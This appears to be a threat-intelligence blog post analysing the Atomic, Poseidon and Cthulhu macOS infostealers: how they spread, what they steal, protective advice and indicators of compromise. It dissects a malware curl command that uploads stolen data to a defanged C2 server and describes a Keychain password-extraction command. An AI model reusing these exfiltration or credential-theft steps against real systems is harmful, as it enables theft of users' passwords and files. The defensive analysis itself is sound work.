# The explosion of malware targets macOS users

## **Overview**

According to a recent report by Palo Alto Networks published on February 4, 2025, there has been a significant increase in **infostealer** malware targeting macOS users. Specifically, three notable infostealers mentioned are **Poseidon, Atomic, and Cthulhu**. These malicious programs are designed to steal sensitive information such as login credentials, financial details, and intellectual property, posing serious risks of data breaches and financial losses for organizations.

The report emphasizes that **infostealers** are often underestimated due to their more limited functionality compared to other threats like remote access trojans. However, their ability to collect and send sensitive information can lead to severe consequences such as data breaches, financial losses, and reputational damage for organizations. According to analysts, infostealers make up the largest group of new macOS malware in 2024, with a 101% increase between the last two quarters of the year.

![](https://objective-see.org/images/blog/blog_0x7D/stealers.png align="center")

## **Notable Infostealers**

According to the latest report by Palo Alto Networks, recent campaigns targeting macOS users have identified three notable infostealers: **Poseidon, Atomic, and Cthulhu.**

* **Atomic Stealer (AMOS):** Discovered in April 2023, AMOS is sold as "malware-as-a-service" on hacker forums and is often distributed through malicious ads. It can steal documents, browser data, cryptocurrency wallets, and information from messaging apps like Telegram.
    
* **Poseidon Stealer:** Considered a variant of Atomic Stealer, Poseidon is distributed through fake installers, often via Google ads and malicious spam emails. It collects system information, browser passwords, cryptocurrency wallets, and data from apps like Telegram, BitWarden, and KeePassXC.
    
* **Cthulhu Stealer:** Also sold as "malware-as-a-service" and spread through fake app installers. In addition to stealing similar data as other infostealers, Cthulhu collects files in various formats and data related to apps like FileZilla, Minecraft, and [Battle.net](http://Battle.net).
    

These infostealers often exploit the macOS AppleScript framework to execute malicious activities, displaying fake notifications to trick users into entering login information or disabling security measures. They are typically distributed through fake app installers, malicious ads, and phishing emails.

## **How the Recorded Variants Operate**

### **Atomic Stealer (AMOS):**

* Atomic Stealer, also known as AMOS, is malware targeting the macOS operating system, first discovered in April 2023. It operates under the "Malware-as-a-Service" (MaaS) model, sold on hacker forums and through Telegram for about $1,000 per month.
    
    ![Atomic Stealer as advertised on Telegram](https://www.sentinelone.com/wp-content/uploads/2023/05/atomic_stealer_4.jpg align="center")
    
* According to recorded reports, Atomic Stealer is spread through:
    
    * **Malicious Ads (Malvertising):** Attackers use fake ads on search engines like Google to trick users into downloading fake software versions containing malware.
        
    * **Fake Browser Updates:** Atomic Stealer is also distributed through compromised websites, displaying fake browser update notifications to deceive users into downloading malware.
        
    * Fake installers for legitimate apps like the Tor browser or pretending to offer users popular software versions, including Photoshop CC, Notion, Microsoft Office.
        
        ![](https://www.malwarebytes.com/wp-content/uploads/sites/2/2023/11/safari.png?w=1024 align="left")
        
    
    ![Atomic MacStealer masquerades as legitimate applications](https://www.sentinelone.com/wp-content/uploads/2023/05/atomic_stealer_19.jpg align="center")
    
* After victims are tricked into downloading malicious files containing the payload, they execute them. Once they enter the admin password, a series of commands are launched. The recorded commands are related to stealing passwords and file information.
    
    ![](https://www.malwarebytes.com/wp-content/uploads/sites/2/2023/11/update.png align="left")
    
    ![](https://www.malwarebytes.com/wp-content/uploads/sites/2/2023/11/file_.png align="center")
    
* The scripts executed are related to AppleScript.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1739182144323/8aa2ee03-4c11-4046-b956-64276154843e.png align="center")
    
    * First command line:
        
        * **Purpose:** Search and extract passwords stored in the macOS Keychain for the **Google Chrome** browser.
            
        * `find-generic-password` is a tool used to retrieve passwords from the macOS Keychain.
            
        * `awk '{print $2}'` can be used to filter and display only the extracted password part.
            
        * **Malware Indicator:** This is a common technique for stealing saved passwords on Chrome.
            
    * SecKeychainSearchCopyNext:
        
        * **This is a macOS API** that allows access to the Keychain. Abusing it can enable attackers to obtain login information without user permission.
            
    * AppleScript file theft:
        
        * Accesses the user's **Desktop** and **Documents**.
            
        * Searches for files with important formats such as:
            
            * **Text documents** (`txt`, `rtf`, `doc`, `docx`, `xls`)
                
            * **Security keys, cryptocurrency wallets** (`key`, `wallet`, `web3`, `dat`)
                
            * **Images** (`jpg`, `png`) – could be screenshots or important documents.
                
* The data, once stolen, will be sent to a C2 server.
    

![](https://www.malwarebytes.com/wp-content/uploads/sites/2/2023/11/C2.png align="center")

* The ability of Atomic Stealer to steal information after a successful infection poses many risks of compromising information security and leaking sensitive victim information:
    
    * **System Information:** macOS version, hardware, IP, etc.
        
    * **Browser Data:** Passwords, cookies, history from Chrome, Brave, Firefox, etc.
        
    * **Cryptocurrency Wallets:** Exodus, Atomic, Electrum, Binance, etc.
        
    * **Password Management Applications:** BitWarden, KeePassXC
        
    * **Personal Files:** Photos, important documents
        

### **Poseidon Stealer:**

* **Poseidon Stealer** is a malware targeting the macOS operating system, discovered in August 2024. It is designed to steal sensitive information from users through sophisticated methods.
    
* Like other **Stealers**, **Poseidon Stealer is sold on hacker forums or through exchange channels on Telegram for about $3,000 per month**.
    
    ![Screenshot of a messaging application interface, featuring a conversation advertising the infostealer.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/02/word-image-41991-138244-2.png align="center")
    
    ![](https://www.malwarebytes.com/wp-content/uploads/sites/2/2024/06/image_e4dea1.png align="center")
    
* Initially, the attackers will use Google ads to trick victims into visiting malicious websites: "*arcthost\[.\]org*".
    

![](https://www.malwarebytes.com/wp-content/uploads/sites/2/2024/06/image_d0821a.png align="center")

* Here, users are encouraged to download a **disk image (.dmg)** file disguised as an installer for an AI application called **Sora AI**.
    

![](https://www.malwarebytes.com/wp-content/uploads/sites/2/2024/06/image_0a217c.png?w=1024 align="center")

![](https://www.malwarebytes.com/wp-content/uploads/sites/2/2024/06/image_dd0c0a.png align="center")

* The `.dmg` file contains a fake installer that, when opened, will execute malware. In recorded campaigns, the malware uses **AppleScript** to execute commands and hide its activities.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1739246807712/27c2c625-4e3e-489b-abb5-297ec3e4cae1.png align="center")

* The command line above is written in **AppleScript**, using `do shell script` to execute a `curl` command on macOS. It is part of the malware, functioning to **send stolen data to the attacker's command and control (C2) server**.
    
    * `set result_send to (do shell script "...")`  
        → Runs a shell command in AppleScript and saves the result to the `result_send` variable.
        
    * `curl -X POST`  
        → Sends an **HTTP POST** request to a remote server.
        
    * `-H "uuid: 399122bdb9844f7d934631745e22bd06"`  
        → **UUID** might be a unique identifier for the infected computer.
        
    * `-H "user: H1N1_Group"`  
        → This appears to be the **name of the hacker group** behind the attack.
        
    * `-H "buildid: id777"`  
        → Could be used to track the malware variant.
        
    * `--data-binary @/tmp/`[`out.zip`](http://out.zip)  
        → The **file** `/tmp/`[`out.zip`](http://out.zip) (containing stolen data) will be sent to the attacker's server.
        
    * [`http://79.137.192[.]4/p2p`  
        →](http://79.137.192%5B.%5D4/p2p%EF%BF%BC%E2%86%92) **C2 server** (Command & Control) receives the stolen data.
        
* The data stolen by **Poseidon Stealer** will include:
    
    * Browser data (passwords, cookies).
        
    * Cryptocurrency wallets.
        
    * Notes from the Apple Notes app.
        
    * Data from Keychain.
        
    * User documents and images.
        
    * VPN configurations.
        
* The stolen data will be stored on the C2 server "[`http://79.137.192[.]4/p2p`](http://79.137.192%5B.%5D4/p2p)\`"
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1739257515027/e5c0573b-b237-49a8-ab96-35f11870ed1e.png align="center")

![](https://www.malwarebytes.com/wp-content/uploads/sites/2/2024/06/image_2ca2fc.png align="center")

### **Cthulhu Stealer:**

* **Cthulhu Stealer** is malware targeting the macOS operating system, discovered around late 2023 and early 2024. It operates under the **Malware-as-a-Service (MaaS)** model, allowing cybercriminals to rent or purchase it for attacks.
    
* Initially, **Cthulhu Stealer** is often distributed as an **Apple Disk Image (DMG)** file, disguised as popular applications like **CleanMyMac**, **Grand Theft Auto IV**, or **Adobe GenP**.
    

![Figure 1_Replacement](https://14518100.fs1.hubspotusercontent-na1.net/hub/14518100/hubfs/Figure%201_Replacement.png?width=602&height=312&name=Figure%201_Replacement.png align="center")

* When users download and open this DMG file, they will see an installer file designed to look like legitimate software. After opening the installer, the malware uses **osascript** to display dialog boxes asking users to enter their system password and passwords for applications like **MetaMask**.
    

![Figure 2](https://14518100.fs1.hubspotusercontent-na1.net/hub/14518100/hubfs/Figure%202.png?width=496&height=246&name=Figure%202.png align="center")

![Figure 4](https://14518100.fs1.hubspotusercontent-na1.net/hub/14518100/hubfs/Figure%204.png?width=508&height=188&name=Figure%204.png align="center")

* After that, an attacker will also create a path to store all the stolen information from the victim: '/Users/Shared/NW'
    

![Figure 5](https://14518100.fs1.hubspotusercontent-na1.net/hub/14518100/hubfs/Figure%205.png?width=602&height=326&name=Figure%205.png align="center")

* **Cthulhu Stealer** can collect various types of data from the infected system, including:
    
    * Passwords and information from macOS **Keychain**.
        
    * Data from web browsers like **Google Chrome**, **Microsoft Edge**, and **Firefox**, including passwords, cookies, browsing history, and credit card information.
        
    * Information from cryptocurrency wallets like **MetaMask**.
        
    * Data from applications like **Telegram** and **FileZilla**.
        
    * Files with formats such as `.png`, `.jpg`, `.jpeg`, `.icns`, `.doc`, `.xls`, `.xlsx`, `.rtf`, and `.pdf`.
        
    * Information related to gaming platforms like [**Battle.net**](http://Battle.net) and **Minecraft**.
        

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXdZzgUMKsv58aooLFaimbTzzz6Drj5JyNPB0sJJf32gP83ui2O1LeV7p8WXuHQQ98Cm43c6hdsy4ryhCaAWR5ONpnEoBOqswNikAoo1RRO4md_vlHQ-5Rj3dSEEkM8LqU2-7hqpfamwbxPr_5AoXjh6R1Lx?key=Am2kCDNR6QuTYeVx_3h8mQ align="center")

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXdQeMiL40qDrOHLIwuqCP67oI_QYiuRawbNMZXWw_FZoAK0Mgfmy3aE0prnoFZgzShQNsgfzf0KD_QcBYx8IZe_bED5JiTUsIGgsxTqV9IraxSEjJN-fzrpfDh8X-xIq9LUoC3aGCibBFBvfbfgTzuFa_4?key=Am2kCDNR6QuTYeVx_3h8mQ align="center")

* Some functions of the malware **Cthulhu Stealer have been noted: Storing collected information in text files, the functions "\_Checker"**
    

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXdEL2ve5ogHTzu39lLnRGCY41K0piI8odL2YSAA2HacDd3zxmLbue4sAGA2c8EzJN3ED16V8luIFs_YPAuP6Q2WG7iqPduz9yu_J77a_ixomcmXhlf3I88CKOYMj_VIXvKTbzsJ4hJf495jIWQ5ReqpkJZe?key=Am2kCDNR6QuTYeVx_3h8mQ align="center")

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXdftR0AN6oOFnEUys0tv-Gj03vFghHFl8Livqp-gbsqBpgzAWyiw4m7Fh_z7_qs9UC9eZdpd6IbpvQtfaLo-ifjcL0toFpimHYNDxyXG0hY5wfjqPivIvK4xtEFWkQ2n0QUiL-X2jFrSEJpxCgY-4sKKSkV?key=Am2kCDNR6QuTYeVx_3h8mQ align="center")

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXciHmt3Lk2pEPm-Xql97R0CQ4fmPLovWeKPTeTdYc6kWqi80fO1xx7vKgm5dS2-Q40coqV_-lq7YVxo_kf2IjAOlsdOSE3AgvwaKN_p0oyBzWlA0BGHpuUv8-BwfUgu2ZfQeqOxrYzCdK35Ox2YVFtgYjef?key=Am2kCDNR6QuTYeVx_3h8mQ align="center")

## **Recommendation**

Stealer malware on macOS is increasing, targeting passwords, bank accounts, and cryptocurrency. To protect yourself:

* **Be careful when downloading software from unofficial sources:**
    
    * Only download apps from the Mac App Store or the developer's official website.
        
    * **Avoid downloading software from Telegram, torrents, or unfamiliar websites.**
        
    * Always check the software's digital signature before installing. Use “codesign -dv --verbose=4 /Applications/[AppName.app](http://AppName.app)”  
        \=> If the app lacks a digital signature or shows a warning, **DO NOT install it**.
        
* **Do not enter your system password unnecessarily:**
    
    * If the system unusually asks for your password, double-check before entering it.
        
* **Review and manage app permissions**
    
    * **Check the list of apps with access to sensitive data:**  
        Go to **System Settings → Privacy & Security** to review app permissions.
        
    * tccutil reset All
        
        \=> The above command will **reset all app permissions**, allowing better control over permissions.
        
* **Remove malicious files if you suspect infection**
    
    * Check the `/tmp/`, `/Library/LaunchAgents/`, and `/Library/Application Support/` directories for suspicious files.
        
* Use security software & update the system
    
    * **Regularly update macOS** to patch security vulnerabilities.
        
    * Enable XProtect and Gatekeeper:
        
        sudo spctl --master-enable sudo defaults read /System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.meta.plist
        

## **Conclusion**

Recent campaigns targeting macOS users have revealed three major threats that significantly impact systems: Atomic Stealer, Poseidon Stealer, and Cthulhu Stealer. These threats are concerning not only for what they can steal but also as a precursor to future exploits that can cause significant damage.

Given the speed at which attackers are developing their methods, a proactive and multi-layered defense strategy is essential for any organization to protect its assets.

## **IOC**

1. **Hash:**
    
    * 599e6358503a0569d998f09ccfbdeaa629d8910f410e26df0ffbd68112e77b05
        
    * a33705df80d2a7c2deeb192c3de9e7f06c7bfd14b84f782cf86099c52a8b0178
        
    * cfa8173e681bf6866e06b1a971dab03954b28d3626d96ac0827c5f261e7997cd
        
    * 831f80f6e6f7be8352aba0b54b3e55ade63f8719c7e6f8cfa19ee34af5a07deb
        
    * a9fe32498f6132b9c39ae16524bdb3d71b451017a2d3acf117416a0dc9a89ce5
        
    * 3eac9c66a712f74d9e93e24751220a74b2c7e5320c74f1f7b4931d8181c7f26c
        
    * 9f4f286e5e40b252512540cc186727abfb0ad15a76f91855b1e72efb006b854c
        
    * 5880430d86d092ac56bfa4aec7e245e3d9084e996165d64549ccb66b626d8c56
        
    * 0bb4ba056d64fff21d13b53b5c1bd5ccb89bed27e66e2b7ff60ddcf47c1342b4
        
    * 1b9b929e63be771393b6a4e526930eedb78f279174711bd2f19dfa8545f6e714
        
    * c4e7320945caf9dc4dca11f6ad0170bc6fc2148de0cdc8aa15a236b248165d39
        
    * a8aa1d7f940f0a8ccd516e52232b103d343826e13df9e4d9567f75e996683886
        
    * 09852c1f67939efad0f0baeead5d23dc9cd53eec0f1f6069f041dfd4e0e83c3f
        
    * b94067535123dd236a075d54afa34fef80324f7d1375f55c29ca70393e6492b2
        
    * 9390108ca021b5f5c8c25849c1d6903c8a30568e822ce22e01e96381ea2df3b5
        
    * 2d232bd6a6b6140a06b3cf59343e3e2113235adcf3fb93e78fa3746d9679cfc3
        
    * d8d29c2906145771e1c12d6520a826c238d5672f256779326ba38859dfb9cf4c
        
    * 6483094f7784c424891644a85d5535688c8969666e16a194d397dc66779b0b12
        
    * a772451ddd6897c00ce766949fc82e30cfb64a6b31b44bfd9068a76ab99dd188
        
    * ad32e638216b859855f78a856f8f4e3aea66add550619a4bde08754e2c218186
        
    * dd831c4aaaceb9f063642ae729956a716e29e0c5452526996e92959cca820914
        
    * 57ece6ae15a8d16a24bad097b4455dc6aec4a24c139d62d05c59330620c3e90e
        
    * 93f33e76c57240dda2b80b0270ad867a4c77ee7ad4ac135d086398e789e4dbc9
        
2. **IP:**
    
    * 94.142.138\[.\]177
        
    * 194.169.175\[.\]117
        
    * 194.59.183\[.\]241
        
    * 70.34.213\[.\]27
        
    * ​​89.208.103\[.\]185
        
    
    ## **Reference**
    
    1. [Atomic Stealer distributed to Mac users via fake browser updates | Malwarebytes](https://www.malwarebytes.com/blog/threat-intelligence/2023/11/atomic-stealer-distributed-to-mac-users-via-fake-browser-updates?utm_source=chatgpt.com)
        
    2. ['Poseidon' Mac stealer distributed via Google ads | Malwarebytes](https://www.malwarebytes.com/blog/news/2024/06/poseidon-mac-stealer-distributed-via-google-ads)
        
    3. [From the Depths: Analyzing the Cthulhu Stealer Malware for macOS](https://www.cadosecurity.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos?utm_source=chatgpt.com)
        
    4. [Stealers on the Rise: A Closer Look at a Growing macOS Threat](https://www.cadosecurity.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos?utm_source=chatgpt.com)